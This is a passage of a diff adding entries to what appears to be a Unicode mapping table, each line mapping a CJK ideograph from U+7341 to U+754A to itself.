+ ["\u7341", "\u7341"], /* CJK Ideograph */
+ ["\u7342", "\u7342"], /* CJK Ideograph */
+ ["\u7343", "\u7343"], /* CJK Ideograph */
+ ["\u7344", "\u7344"], /* CJK Ideograph */
+ ["\u7345", "\u7345"], /* CJK Ideograph */
+ ["\u7346", "\u7346"], /* CJK Ideograph */
+ ["\u7347", "\u7347"], /* CJK Ideograph */
+ ["\u7348", "\u7348"], /* CJK Ideograph */
+ ["\u7349", "\u7349"], /* CJK Ideograph */
+ ["\u734A", "\u734A"], /* CJK Ideograph */
+ ["\u734B", "\u734B"], /* CJK Ideograph */
+ ["\u734C", "\u734C"], /* CJK Ideograph */
+ ["\u734D", "\u734D"], /* CJK Ideograph */
+ ["\u734E", "\u734E"], /* CJK Ideograph */
+ ["\u734F", "\u734F"], /* CJK Ideograph */
+ ["\u7350", "\u7350"], /* CJK Ideograph */
+ ["\u7351", "\u7351"], /* CJK Ideograph */
+ ["\u7352", "\u7352"], /* CJK Ideograph */
+ ["\u7353", "\u7353"], /* CJK Ideograph */
+ ["\u7354", "\u7354"], /* CJK Ideograph */
+ ["\u7355", "\u7355"], /* CJK Ideograph */
+ ["\u7356", "\u7356"], /* CJK Ideograph */
+ ["\u7357", "\u7357"], /* CJK Ideograph */
+ ["\u7358", "\u7358"], /* CJK Ideograph */
+ ["\u7359", "\u7359"], /* CJK Ideograph */
+ ["\u735A", "\u735A"], /* CJK Ideograph */
+ ["\u735B", "\u735B"], /* CJK Ideograph */
+ ["\u735C", "\u735C"], /* CJK Ideograph */
+ ["\u735D", "\u735D"], /* CJK Ideograph */
+ ["\u735E", "\u735E"], /* CJK Ideograph */
+ ["\u735F", "\u735F"], /* CJK Ideograph */
+ ["\u7360", "\u7360"], /* CJK Ideograph */
+ ["\u7361", "\u7361"], /* CJK Ideograph */
+ ["\u7362", "\u7362"], /* CJK Ideograph */
+ ["\u7363", "\u7363"], /* CJK Ideograph */
+ ["\u7364", "\u7364"], /* CJK Ideograph */
+ ["\u7365", "\u7365"], /* CJK Ideograph */
+ ["\u7366", "\u7366"], /* CJK Ideograph */
+ ["\u7367", "\u7367"], /* CJK Ideograph */
+ ["\u7368", "\u7368"], /* CJK Ideograph */
+ ["\u7369", "\u7369"], /* CJK Ideograph */
+ ["\u736A", "\u736A"], /* CJK Ideograph */
+ ["\u736B", "\u736B"], /* CJK Ideograph */
+ ["\u736C", "\u736C"], /* CJK Ideograph */
+ ["\u736D", "\u736D"], /* CJK Ideograph */
+ ["\u736E", "\u736E"], /* CJK Ideograph */
+ ["\u736F", "\u736F"], /* CJK Ideograph */
+ ["\u7370", "\u7370"], /* CJK Ideograph */
+ ["\u7371", "\u7371"], /* CJK Ideograph */
+ ["\u7372", "\u7372"], /* CJK Ideograph */
+ ["\u7373", "\u7373"], /* CJK Ideograph */
+ ["\u7374", "\u7374"], /* CJK Ideograph */
+ ["\u7375", "\u7375"], /* CJK Ideograph */
+ ["\u7376", "\u7376"], /* CJK Ideograph */
+ ["\u7377", "\u7377"], /* CJK Ideograph */
+ ["\u7378", "\u7378"], /* CJK Ideograph */
+ ["\u7379", "\u7379"], /* CJK Ideograph */
+ ["\u737A", "\u737A"], /* CJK Ideograph */
+ ["\u737B", "\u737B"], /* CJK Ideograph */
+ ["\u737C", "\u737C"], /* CJK Ideograph */
+ ["\u737D", "\u737D"], /* CJK Ideograph */
+ ["\u737E", "\u737E"], /* CJK Ideograph */
+ ["\u737F", "\u737F"], /* CJK Ideograph */
+ ["\u7380", "\u7380"], /* CJK Ideograph */
+ ["\u7381", "\u7381"], /* CJK Ideograph */
+ ["\u7382", "\u7382"], /* CJK Ideograph */
+ ["\u7383", "\u7383"], /* CJK Ideograph */
+ ["\u7384", "\u7384"], /* CJK Ideograph */
+ ["\u7385", "\u7385"], /* CJK Ideograph */
+ ["\u7386", "\u7386"], /* CJK Ideograph */
+ ["\u7387", "\u7387"], /* CJK Ideograph */
+ ["\u7388", "\u7388"], /* CJK Ideograph */
+ ["\u7389", "\u7389"], /* CJK Ideograph */
+ ["\u738A", "\u738A"], /* CJK Ideograph */
+ ["\u738B", "\u738B"], /* CJK Ideograph */
+ ["\u738C", "\u738C"], /* CJK Ideograph */
+ ["\u738D", "\u738D"], /* CJK Ideograph */
+ ["\u738E", "\u738E"], /* CJK Ideograph */
+ ["\u738F", "\u738F"], /* CJK Ideograph */
+ ["\u7390", "\u7390"], /* CJK Ideograph */
+ ["\u7391", "\u7391"], /* CJK Ideograph */
+ ["\u7392", "\u7392"], /* CJK Ideograph */
+ ["\u7393", "\u7393"], /* CJK Ideograph */
+ ["\u7394", "\u7394"], /* CJK Ideograph */
+ ["\u7395", "\u7395"], /* CJK Ideograph */
+ ["\u7396", "\u7396"], /* CJK Ideograph */
+ ["\u7397", "\u7397"], /* CJK Ideograph */
+ ["\u7398", "\u7398"], /* CJK Ideograph */
+ ["\u7399", "\u7399"], /* CJK Ideograph */
+ ["\u739A", "\u739A"], /* CJK Ideograph */
+ ["\u739B", "\u739B"], /* CJK Ideograph */
+ ["\u739C", "\u739C"], /* CJK Ideograph */
+ ["\u739D", "\u739D"], /* CJK Ideograph */
+ ["\u739E", "\u739E"], /* CJK Ideograph */
+ ["\u739F", "\u739F"], /* CJK Ideograph */
+ ["\u73A0", "\u73A0"], /* CJK Ideograph */
+ ["\u73A1", "\u73A1"], /* CJK Ideograph */
+ ["\u73A2", "\u73A2"], /* CJK Ideograph */
+ ["\u73A3", "\u73A3"], /* CJK Ideograph */
+ ["\u73A4", "\u73A4"], /* CJK Ideograph */
+ ["\u73A5", "\u73A5"], /* CJK Ideograph */
+ ["\u73A6", "\u73A6"], /* CJK Ideograph */
+ ["\u73A7", "\u73A7"], /* CJK Ideograph */
+ ["\u73A8", "\u73A8"], /* CJK Ideograph */
+ ["\u73A9", "\u73A9"], /* CJK Ideograph */
+ ["\u73AA", "\u73AA"], /* CJK Ideograph */
+ ["\u73AB", "\u73AB"], /* CJK Ideograph */
+ ["\u73AC", "\u73AC"], /* CJK Ideograph */
+ ["\u73AD", "\u73AD"], /* CJK Ideograph */
+ ["\u73AE", "\u73AE"], /* CJK Ideograph */
+ ["\u73AF", "\u73AF"], /* CJK Ideograph */
+ ["\u73B0", "\u73B0"], /* CJK Ideograph */
+ ["\u73B1", "\u73B1"], /* CJK Ideograph */
+ ["\u73B2", "\u73B2"], /* CJK Ideograph */
+ ["\u73B3", "\u73B3"], /* CJK Ideograph */
+ ["\u73B4", "\u73B4"], /* CJK Ideograph */
+ ["\u73B5", "\u73B5"], /* CJK Ideograph */
+ ["\u73B6", "\u73B6"], /* CJK Ideograph */
+ ["\u73B7", "\u73B7"], /* CJK Ideograph */
+ ["\u73B8", "\u73B8"], /* CJK Ideograph */
+ ["\u73B9", "\u73B9"], /* CJK Ideograph */
+ ["\u73BA", "\u73BA"], /* CJK Ideograph */
+ ["\u73BB", "\u73BB"], /* CJK Ideograph */
+ ["\u73BC", "\u73BC"], /* CJK Ideograph */
+ ["\u73BD", "\u73BD"], /* CJK Ideograph */
+ ["\u73BE", "\u73BE"], /* CJK Ideograph */
+ ["\u73BF", "\u73BF"], /* CJK Ideograph */
+ ["\u73C0", "\u73C0"], /* CJK Ideograph */
+ ["\u73C1", "\u73C1"], /* CJK Ideograph */
+ ["\u73C2", "\u73C2"], /* CJK Ideograph */
+ ["\u73C3", "\u73C3"], /* CJK Ideograph */
+ ["\u73C4", "\u73C4"], /* CJK Ideograph */
+ ["\u73C5", "\u73C5"], /* CJK Ideograph */
+ ["\u73C6", "\u73C6"], /* CJK Ideograph */
+ ["\u73C7", "\u73C7"], /* CJK Ideograph */
+ ["\u73C8", "\u73C8"], /* CJK Ideograph */
+ ["\u73C9", "\u73C9"], /* CJK Ideograph */
+ ["\u73CA", "\u73CA"], /* CJK Ideograph */
+ ["\u73CB", "\u73CB"], /* CJK Ideograph */
+ ["\u73CC", "\u73CC"], /* CJK Ideograph */
+ ["\u73CD", "\u73CD"], /* CJK Ideograph */
+ ["\u73CE", "\u73CE"], /* CJK Ideograph */
+ ["\u73CF", "\u73CF"], /* CJK Ideograph */
+ ["\u73D0", "\u73D0"], /* CJK Ideograph */
+ ["\u73D1", "\u73D1"], /* CJK Ideograph */
+ ["\u73D2", "\u73D2"], /* CJK Ideograph */
+ ["\u73D3", "\u73D3"], /* CJK Ideograph */
+ ["\u73D4", "\u73D4"], /* CJK Ideograph */
+ ["\u73D5", "\u73D5"], /* CJK Ideograph */
+ ["\u73D6", "\u73D6"], /* CJK Ideograph */
+ ["\u73D7", "\u73D7"], /* CJK Ideograph */
+ ["\u73D8", "\u73D8"], /* CJK Ideograph */
+ ["\u73D9", "\u73D9"], /* CJK Ideograph */
+ ["\u73DA", "\u73DA"], /* CJK Ideograph */
+ ["\u73DB", "\u73DB"], /* CJK Ideograph */
+ ["\u73DC", "\u73DC"], /* CJK Ideograph */
+ ["\u73DD", "\u73DD"], /* CJK Ideograph */
+ ["\u73DE", "\u73DE"], /* CJK Ideograph */
+ ["\u73DF", "\u73DF"], /* CJK Ideograph */
+ ["\u73E0", "\u73E0"], /* CJK Ideograph */
+ ["\u73E1", "\u73E1"], /* CJK Ideograph */
+ ["\u73E2", "\u73E2"], /* CJK Ideograph */
+ ["\u73E3", "\u73E3"], /* CJK Ideograph */
+ ["\u73E4", "\u73E4"], /* CJK Ideograph */
+ ["\u73E5", "\u73E5"], /* CJK Ideograph */
+ ["\u73E6", "\u73E6"], /* CJK Ideograph */
+ ["\u73E7", "\u73E7"], /* CJK Ideograph */
+ ["\u73E8", "\u73E8"], /* CJK Ideograph */
+ ["\u73E9", "\u73E9"], /* CJK Ideograph */
+ ["\u73EA", "\u73EA"], /* CJK Ideograph */
+ ["\u73EB", "\u73EB"], /* CJK Ideograph */
+ ["\u73EC", "\u73EC"], /* CJK Ideograph */
+ ["\u73ED", "\u73ED"], /* CJK Ideograph */
+ ["\u73EE", "\u73EE"], /* CJK Ideograph */
+ ["\u73EF", "\u73EF"], /* CJK Ideograph */
+ ["\u73F0", "\u73F0"], /* CJK Ideograph */
+ ["\u73F1", "\u73F1"], /* CJK Ideograph */
+ ["\u73F2", "\u73F2"], /* CJK Ideograph */
+ ["\u73F3", "\u73F3"], /* CJK Ideograph */
+ ["\u73F4", "\u73F4"], /* CJK Ideograph */
+ ["\u73F5", "\u73F5"], /* CJK Ideograph */
+ ["\u73F6", "\u73F6"], /* CJK Ideograph */
+ ["\u73F7", "\u73F7"], /* CJK Ideograph */
+ ["\u73F8", "\u73F8"], /* CJK Ideograph */
+ ["\u73F9", "\u73F9"], /* CJK Ideograph */
+ ["\u73FA", "\u73FA"], /* CJK Ideograph */
+ ["\u73FB", "\u73FB"], /* CJK Ideograph */
+ ["\u73FC", "\u73FC"], /* CJK Ideograph */
+ ["\u73FD", "\u73FD"], /* CJK Ideograph */
+ ["\u73FE", "\u73FE"], /* CJK Ideograph */
+ ["\u73FF", "\u73FF"], /* CJK Ideograph */
+ ["\u7400", "\u7400"], /* CJK Ideograph */
+ ["\u7401", "\u7401"], /* CJK Ideograph */
+ ["\u7402", "\u7402"], /* CJK Ideograph */
+ ["\u7403", "\u7403"], /* CJK Ideograph */
+ ["\u7404", "\u7404"], /* CJK Ideograph */
+ ["\u7405", "\u7405"], /* CJK Ideograph */
+ ["\u7406", "\u7406"], /* CJK Ideograph */
+ ["\u7407", "\u7407"], /* CJK Ideograph */
+ ["\u7408", "\u7408"], /* CJK Ideograph */
+ ["\u7409", "\u7409"], /* CJK Ideograph */
+ ["\u740A", "\u740A"], /* CJK Ideograph */
+ ["\u740B", "\u740B"], /* CJK Ideograph */
+ ["\u740C", "\u740C"], /* CJK Ideograph */
+ ["\u740D", "\u740D"], /* CJK Ideograph */
+ ["\u740E", "\u740E"], /* CJK Ideograph */
+ ["\u740F", "\u740F"], /* CJK Ideograph */
+ ["\u7410", "\u7410"], /* CJK Ideograph */
+ ["\u7411", "\u7411"], /* CJK Ideograph */
+ ["\u7412", "\u7412"], /* CJK Ideograph */
+ ["\u7413", "\u7413"], /* CJK Ideograph */
+ ["\u7414", "\u7414"], /* CJK Ideograph */
+ ["\u7415", "\u7415"], /* CJK Ideograph */
+ ["\u7416", "\u7416"], /* CJK Ideograph */
+ ["\u7417", "\u7417"], /* CJK Ideograph */
+ ["\u7418", "\u7418"], /* CJK Ideograph */
+ ["\u7419", "\u7419"], /* CJK Ideograph */
+ ["\u741A", "\u741A"], /* CJK Ideograph */
+ ["\u741B", "\u741B"], /* CJK Ideograph */
+ ["\u741C", "\u741C"], /* CJK Ideograph */
+ ["\u741D", "\u741D"], /* CJK Ideograph */
+ ["\u741E", "\u741E"], /* CJK Ideograph */
+ ["\u741F", "\u741F"], /* CJK Ideograph */
+ ["\u7420", "\u7420"], /* CJK Ideograph */
+ ["\u7421", "\u7421"], /* CJK Ideograph */
+ ["\u7422", "\u7422"], /* CJK Ideograph */
+ ["\u7423", "\u7423"], /* CJK Ideograph */
+ ["\u7424", "\u7424"], /* CJK Ideograph */
+ ["\u7425", "\u7425"], /* CJK Ideograph */
+ ["\u7426", "\u7426"], /* CJK Ideograph */
+ ["\u7427", "\u7427"], /* CJK Ideograph */
+ ["\u7428", "\u7428"], /* CJK Ideograph */
+ ["\u7429", "\u7429"], /* CJK Ideograph */
+ ["\u742A", "\u742A"], /* CJK Ideograph */
+ ["\u742B", "\u742B"], /* CJK Ideograph */
+ ["\u742C", "\u742C"], /* CJK Ideograph */
+ ["\u742D", "\u742D"], /* CJK Ideograph */
+ ["\u742E", "\u742E"], /* CJK Ideograph */
+ ["\u742F", "\u742F"], /* CJK Ideograph */
+ ["\u7430", "\u7430"], /* CJK Ideograph */
+ ["\u7431", "\u7431"], /* CJK Ideograph */
+ ["\u7432", "\u7432"], /* CJK Ideograph */
+ ["\u7433", "\u7433"], /* CJK Ideograph */
+ ["\u7434", "\u7434"], /* CJK Ideograph */
+ ["\u7435", "\u7435"], /* CJK Ideograph */
+ ["\u7436", "\u7436"], /* CJK Ideograph */
+ ["\u7437", "\u7437"], /* CJK Ideograph */
+ ["\u7438", "\u7438"], /* CJK Ideograph */
+ ["\u7439", "\u7439"], /* CJK Ideograph */
+ ["\u743A", "\u743A"], /* CJK Ideograph */
+ ["\u743B", "\u743B"], /* CJK Ideograph */
+ ["\u743C", "\u743C"], /* CJK Ideograph */
+ ["\u743D", "\u743D"], /* CJK Ideograph */
+ ["\u743E", "\u743E"], /* CJK Ideograph */
+ ["\u743F", "\u743F"], /* CJK Ideograph */
+ ["\u7440", "\u7440"], /* CJK Ideograph */
+ ["\u7441", "\u7441"], /* CJK Ideograph */
+ ["\u7442", "\u7442"], /* CJK Ideograph */
+ ["\u7443", "\u7443"], /* CJK Ideograph */
+ ["\u7444", "\u7444"], /* CJK Ideograph */
+ ["\u7445", "\u7445"], /* CJK Ideograph */
+ ["\u7446", "\u7446"], /* CJK Ideograph */
+ ["\u7447", "\u7447"], /* CJK Ideograph */
+ ["\u7448", "\u7448"], /* CJK Ideograph */
+ ["\u7449", "\u7449"], /* CJK Ideograph */
+ ["\u744A", "\u744A"], /* CJK Ideograph */
+ ["\u744B", "\u744B"], /* CJK Ideograph */
+ ["\u744C", "\u744C"], /* CJK Ideograph */
+ ["\u744D", "\u744D"], /* CJK Ideograph */
+ ["\u744E", "\u744E"], /* CJK Ideograph */
+ ["\u744F", "\u744F"], /* CJK Ideograph */
+ ["\u7450", "\u7450"], /* CJK Ideograph */
+ ["\u7451", "\u7451"], /* CJK Ideograph */
+ ["\u7452", "\u7452"], /* CJK Ideograph */
+ ["\u7453", "\u7453"], /* CJK Ideograph */
+ ["\u7454", "\u7454"], /* CJK Ideograph */
+ ["\u7455", "\u7455"], /* CJK Ideograph */
+ ["\u7456", "\u7456"], /* CJK Ideograph */
+ ["\u7457", "\u7457"], /* CJK Ideograph */
+ ["\u7458", "\u7458"], /* CJK Ideograph */
+ ["\u7459", "\u7459"], /* CJK Ideograph */
+ ["\u745A", "\u745A"], /* CJK Ideograph */
+ ["\u745B", "\u745B"], /* CJK Ideograph */
+ ["\u745C", "\u745C"], /* CJK Ideograph */
+ ["\u745D", "\u745D"], /* CJK Ideograph */
+ ["\u745E", "\u745E"], /* CJK Ideograph */
+ ["\u745F", "\u745F"], /* CJK Ideograph */
+ ["\u7460", "\u7460"], /* CJK Ideograph */
+ ["\u7461", "\u7461"], /* CJK Ideograph */
+ ["\u7462", "\u7462"], /* CJK Ideograph */
+ ["\u7463", "\u7463"], /* CJK Ideograph */
+ ["\u7464", "\u7464"], /* CJK Ideograph */
+ ["\u7465", "\u7465"], /* CJK Ideograph */
+ ["\u7466", "\u7466"], /* CJK Ideograph */
+ ["\u7467", "\u7467"], /* CJK Ideograph */
+ ["\u7468", "\u7468"], /* CJK Ideograph */
+ ["\u7469", "\u7469"], /* CJK Ideograph */
+ ["\u746A", "\u746A"], /* CJK Ideograph */
+ ["\u746B", "\u746B"], /* CJK Ideograph */
+ ["\u746C", "\u746C"], /* CJK Ideograph */
+ ["\u746D", "\u746D"], /* CJK Ideograph */
+ ["\u746E", "\u746E"], /* CJK Ideograph */
+ ["\u746F", "\u746F"], /* CJK Ideograph */
+ ["\u7470", "\u7470"], /* CJK Ideograph */
+ ["\u7471", "\u7471"], /* CJK Ideograph */
+ ["\u7472", "\u7472"], /* CJK Ideograph */
+ ["\u7473", "\u7473"], /* CJK Ideograph */
+ ["\u7474", "\u7474"], /* CJK Ideograph */
+ ["\u7475", "\u7475"], /* CJK Ideograph */
+ ["\u7476", "\u7476"], /* CJK Ideograph */
+ ["\u7477", "\u7477"], /* CJK Ideograph */
+ ["\u7478", "\u7478"], /* CJK Ideograph */
+ ["\u7479", "\u7479"], /* CJK Ideograph */
+ ["\u747A", "\u747A"], /* CJK Ideograph */
+ ["\u747B", "\u747B"], /* CJK Ideograph */
+ ["\u747C", "\u747C"], /* CJK Ideograph */
+ ["\u747D", "\u747D"], /* CJK Ideograph */
+ ["\u747E", "\u747E"], /* CJK Ideograph */
+ ["\u747F", "\u747F"], /* CJK Ideograph */
+ ["\u7480", "\u7480"], /* CJK Ideograph */
+ ["\u7481", "\u7481"], /* CJK Ideograph */
+ ["\u7482", "\u7482"], /* CJK Ideograph */
+ ["\u7483", "\u7483"], /* CJK Ideograph */
+ ["\u7484", "\u7484"], /* CJK Ideograph */
+ ["\u7485", "\u7485"], /* CJK Ideograph */
+ ["\u7486", "\u7486"], /* CJK Ideograph */
+ ["\u7487", "\u7487"], /* CJK Ideograph */
+ ["\u7488", "\u7488"], /* CJK Ideograph */
+ ["\u7489", "\u7489"], /* CJK Ideograph */
+ ["\u748A", "\u748A"], /* CJK Ideograph */
+ ["\u748B", "\u748B"], /* CJK Ideograph */
+ ["\u748C", "\u748C"], /* CJK Ideograph */
+ ["\u748D", "\u748D"], /* CJK Ideograph */
+ ["\u748E", "\u748E"], /* CJK Ideograph */
+ ["\u748F", "\u748F"], /* CJK Ideograph */
+ ["\u7490", "\u7490"], /* CJK Ideograph */
+ ["\u7491", "\u7491"], /* CJK Ideograph */
+ ["\u7492", "\u7492"], /* CJK Ideograph */
+ ["\u7493", "\u7493"], /* CJK Ideograph */
+ ["\u7494", "\u7494"], /* CJK Ideograph */
+ ["\u7495", "\u7495"], /* CJK Ideograph */
+ ["\u7496", "\u7496"], /* CJK Ideograph */
+ ["\u7497", "\u7497"], /* CJK Ideograph */
+ ["\u7498", "\u7498"], /* CJK Ideograph */
+ ["\u7499", "\u7499"], /* CJK Ideograph */
+ ["\u749A", "\u749A"], /* CJK Ideograph */
+ ["\u749B", "\u749B"], /* CJK Ideograph */
+ ["\u749C", "\u749C"], /* CJK Ideograph */
+ ["\u749D", "\u749D"], /* CJK Ideograph */
+ ["\u749E", "\u749E"], /* CJK Ideograph */
+ ["\u749F", "\u749F"], /* CJK Ideograph */
+ ["\u74A0", "\u74A0"], /* CJK Ideograph */
+ ["\u74A1", "\u74A1"], /* CJK Ideograph */
+ ["\u74A2", "\u74A2"], /* CJK Ideograph */
+ ["\u74A3", "\u74A3"], /* CJK Ideograph */
+ ["\u74A4", "\u74A4"], /* CJK Ideograph */
+ ["\u74A5", "\u74A5"], /* CJK Ideograph */
+ ["\u74A6", "\u74A6"], /* CJK Ideograph */
+ ["\u74A7", "\u74A7"], /* CJK Ideograph */
+ ["\u74A8", "\u74A8"], /* CJK Ideograph */
+ ["\u74A9", "\u74A9"], /* CJK Ideograph */
+ ["\u74AA", "\u74AA"], /* CJK Ideograph */
+ ["\u74AB", "\u74AB"], /* CJK Ideograph */
+ ["\u74AC", "\u74AC"], /* CJK Ideograph */
+ ["\u74AD", "\u74AD"], /* CJK Ideograph */
+ ["\u74AE", "\u74AE"], /* CJK Ideograph */
+ ["\u74AF", "\u74AF"], /* CJK Ideograph */
+ ["\u74B0", "\u74B0"], /* CJK Ideograph */
+ ["\u74B1", "\u74B1"], /* CJK Ideograph */
+ ["\u74B2", "\u74B2"], /* CJK Ideograph */
+ ["\u74B3", "\u74B3"], /* CJK Ideograph */
+ ["\u74B4", "\u74B4"], /* CJK Ideograph */
+ ["\u74B5", "\u74B5"], /* CJK Ideograph */
+ ["\u74B6", "\u74B6"], /* CJK Ideograph */
+ ["\u74B7", "\u74B7"], /* CJK Ideograph */
+ ["\u74B8", "\u74B8"], /* CJK Ideograph */
+ ["\u74B9", "\u74B9"], /* CJK Ideograph */
+ ["\u74BA", "\u74BA"], /* CJK Ideograph */
+ ["\u74BB", "\u74BB"], /* CJK Ideograph */
+ ["\u74BC", "\u74BC"], /* CJK Ideograph */
+ ["\u74BD", "\u74BD"], /* CJK Ideograph */
+ ["\u74BE", "\u74BE"], /* CJK Ideograph */
+ ["\u74BF", "\u74BF"], /* CJK Ideograph */
+ ["\u74C0", "\u74C0"], /* CJK Ideograph */
+ ["\u74C1", "\u74C1"], /* CJK Ideograph */
+ ["\u74C2", "\u74C2"], /* CJK Ideograph */
+ ["\u74C3", "\u74C3"], /* CJK Ideograph */
+ ["\u74C4", "\u74C4"], /* CJK Ideograph */
+ ["\u74C5", "\u74C5"], /* CJK Ideograph */
+ ["\u74C6", "\u74C6"], /* CJK Ideograph */
+ ["\u74C7", "\u74C7"], /* CJK Ideograph */
+ ["\u74C8", "\u74C8"], /* CJK Ideograph */
+ ["\u74C9", "\u74C9"], /* CJK Ideograph */
+ ["\u74CA", "\u74CA"], /* CJK Ideograph */
+ ["\u74CB", "\u74CB"], /* CJK Ideograph */
+ ["\u74CC", "\u74CC"], /* CJK Ideograph */
+ ["\u74CD", "\u74CD"], /* CJK Ideograph */
+ ["\u74CE", "\u74CE"], /* CJK Ideograph */
+ ["\u74CF", "\u74CF"], /* CJK Ideograph */
+ ["\u74D0", "\u74D0"], /* CJK Ideograph */
+ ["\u74D1", "\u74D1"], /* CJK Ideograph */
+ ["\u74D2", "\u74D2"], /* CJK Ideograph */
+ ["\u74D3", "\u74D3"], /* CJK Ideograph */
+ ["\u74D4", "\u74D4"], /* CJK Ideograph */
+ ["\u74D5", "\u74D5"], /* CJK Ideograph */
+ ["\u74D6", "\u74D6"], /* CJK Ideograph */
+ ["\u74D7", "\u74D7"], /* CJK Ideograph */
+ ["\u74D8", "\u74D8"], /* CJK Ideograph */
+ ["\u74D9", "\u74D9"], /* CJK Ideograph */
+ ["\u74DA", "\u74DA"], /* CJK Ideograph */
+ ["\u74DB", "\u74DB"], /* CJK Ideograph */
+ ["\u74DC", "\u74DC"], /* CJK Ideograph */
+ ["\u74DD", "\u74DD"], /* CJK Ideograph */
+ ["\u74DE", "\u74DE"], /* CJK Ideograph */
+ ["\u74DF", "\u74DF"], /* CJK Ideograph */
+ ["\u74E0", "\u74E0"], /* CJK Ideograph */
+ ["\u74E1", "\u74E1"], /* CJK Ideograph */
+ ["\u74E2", "\u74E2"], /* CJK Ideograph */
+ ["\u74E3", "\u74E3"], /* CJK Ideograph */
+ ["\u74E4", "\u74E4"], /* CJK Ideograph */
+ ["\u74E5", "\u74E5"], /* CJK Ideograph */
+ ["\u74E6", "\u74E6"], /* CJK Ideograph */
+ ["\u74E7", "\u74E7"], /* CJK Ideograph */
+ ["\u74E8", "\u74E8"], /* CJK Ideograph */
+ ["\u74E9", "\u74E9"], /* CJK Ideograph */
+ ["\u74EA", "\u74EA"], /* CJK Ideograph */
+ ["\u74EB", "\u74EB"], /* CJK Ideograph */
+ ["\u74EC", "\u74EC"], /* CJK Ideograph */
+ ["\u74ED", "\u74ED"], /* CJK Ideograph */
+ ["\u74EE", "\u74EE"], /* CJK Ideograph */
+ ["\u74EF", "\u74EF"], /* CJK Ideograph */
+ ["\u74F0", "\u74F0"], /* CJK Ideograph */
+ ["\u74F1", "\u74F1"], /* CJK Ideograph */
+ ["\u74F2", "\u74F2"], /* CJK Ideograph */
+ ["\u74F3", "\u74F3"], /* CJK Ideograph */
+ ["\u74F4", "\u74F4"], /* CJK Ideograph */
+ ["\u74F5", "\u74F5"], /* CJK Ideograph */
+ ["\u74F6", "\u74F6"], /* CJK Ideograph */
+ ["\u74F7", "\u74F7"], /* CJK Ideograph */
+ ["\u74F8", "\u74F8"], /* CJK Ideograph */
+ ["\u74F9", "\u74F9"], /* CJK Ideograph */
+ ["\u74FA", "\u74FA"], /* CJK Ideograph */
+ ["\u74FB", "\u74FB"], /* CJK Ideograph */
+ ["\u74FC", "\u74FC"], /* CJK Ideograph */
+ ["\u74FD", "\u74FD"], /* CJK Ideograph */
+ ["\u74FE", "\u74FE"], /* CJK Ideograph */
+ ["\u74FF", "\u74FF"], /* CJK Ideograph */
+ ["\u7500", "\u7500"], /* CJK Ideograph */
+ ["\u7501", "\u7501"], /* CJK Ideograph */
+ ["\u7502", "\u7502"], /* CJK Ideograph */
+ ["\u7503", "\u7503"], /* CJK Ideograph */
+ ["\u7504", "\u7504"], /* CJK Ideograph */
+ ["\u7505", "\u7505"], /* CJK Ideograph */
+ ["\u7506", "\u7506"], /* CJK Ideograph */
+ ["\u7507", "\u7507"], /* CJK Ideograph */
+ ["\u7508", "\u7508"], /* CJK Ideograph */
+ ["\u7509", "\u7509"], /* CJK Ideograph */
+ ["\u750A", "\u750A"], /* CJK Ideograph */
+ ["\u750B", "\u750B"], /* CJK Ideograph */
+ ["\u750C", "\u750C"], /* CJK Ideograph */
+ ["\u750D", "\u750D"], /* CJK Ideograph */
+ ["\u750E", "\u750E"], /* CJK Ideograph */
+ ["\u750F", "\u750F"], /* CJK Ideograph */
+ ["\u7510", "\u7510"], /* CJK Ideograph */
+ ["\u7511", "\u7511"], /* CJK Ideograph */
+ ["\u7512", "\u7512"], /* CJK Ideograph */
+ ["\u7513", "\u7513"], /* CJK Ideograph */
+ ["\u7514", "\u7514"], /* CJK Ideograph */
+ ["\u7515", "\u7515"], /* CJK Ideograph */
+ ["\u7516", "\u7516"], /* CJK Ideograph */
+ ["\u7517", "\u7517"], /* CJK Ideograph */
+ ["\u7518", "\u7518"], /* CJK Ideograph */
+ ["\u7519", "\u7519"], /* CJK Ideograph */
+ ["\u751A", "\u751A"], /* CJK Ideograph */
+ ["\u751B", "\u751B"], /* CJK Ideograph */
+ ["\u751C", "\u751C"], /* CJK Ideograph */
+ ["\u751D", "\u751D"], /* CJK Ideograph */
+ ["\u751E", "\u751E"], /* CJK Ideograph */
+ ["\u751F", "\u751F"], /* CJK Ideograph */
+ ["\u7520", "\u7520"], /* CJK Ideograph */
+ ["\u7521", "\u7521"], /* CJK Ideograph */
+ ["\u7522", "\u7522"], /* CJK Ideograph */
+ ["\u7523", "\u7523"], /* CJK Ideograph */
+ ["\u7524", "\u7524"], /* CJK Ideograph */
+ ["\u7525", "\u7525"], /* CJK Ideograph */
+ ["\u7526", "\u7526"], /* CJK Ideograph */
+ ["\u7527", "\u7527"], /* CJK Ideograph */
+ ["\u7528", "\u7528"], /* CJK Ideograph */
+ ["\u7529", "\u7529"], /* CJK Ideograph */
+ ["\u752A", "\u752A"], /* CJK Ideograph */
+ ["\u752B", "\u752B"], /* CJK Ideograph */
+ ["\u752C", "\u752C"], /* CJK Ideograph */
+ ["\u752D", "\u752D"], /* CJK Ideograph */
+ ["\u752E", "\u752E"], /* CJK Ideograph */
+ ["\u752F", "\u752F"], /* CJK Ideograph */
+ ["\u7530", "\u7530"], /* CJK Ideograph */
+ ["\u7531", "\u7531"], /* CJK Ideograph */
+ ["\u7532", "\u7532"], /* CJK Ideograph */
+ ["\u7533", "\u7533"], /* CJK Ideograph */
+ ["\u7534", "\u7534"], /* CJK Ideograph */
+ ["\u7535", "\u7535"], /* CJK Ideograph */
+ ["\u7536", "\u7536"], /* CJK Ideograph */
+ ["\u7537", "\u7537"], /* CJK Ideograph */
+ ["\u7538", "\u7538"], /* CJK Ideograph */
+ ["\u7539", "\u7539"], /* CJK Ideograph */
+ ["\u753A", "\u753A"], /* CJK Ideograph */
+ ["\u753B", "\u753B"], /* CJK Ideograph */
+ ["\u753C", "\u753C"], /* CJK Ideograph */
+ ["\u753D", "\u753D"], /* CJK Ideograph */
+ ["\u753E", "\u753E"], /* CJK Ideograph */
+ ["\u753F", "\u753F"], /* CJK Ideograph */
+ ["\u7540", "\u7540"], /* CJK Ideograph */
+ ["\u7541", "\u7541"], /* CJK Ideograph */
+ ["\u7542", "\u7542"], /* CJK Ideograph */
+ ["\u7543", "\u7543"], /* CJK Ideograph */
+ ["\u7544", "\u7544"], /* CJK Ideograph */
+ ["\u7545", "\u7545"], /* CJK Ideograph */
+ ["\u7546", "\u7546"], /* CJK Ideograph */
+ ["\u7547", "\u7547"], /* CJK Ideograph */
+ ["\u7548", "\u7548"], /* CJK Ideograph */
+ ["\u7549", "\u7549"], /* CJK Ideograph */
+ ["\u754A", "\u754A"], /* CJK Ideograph */
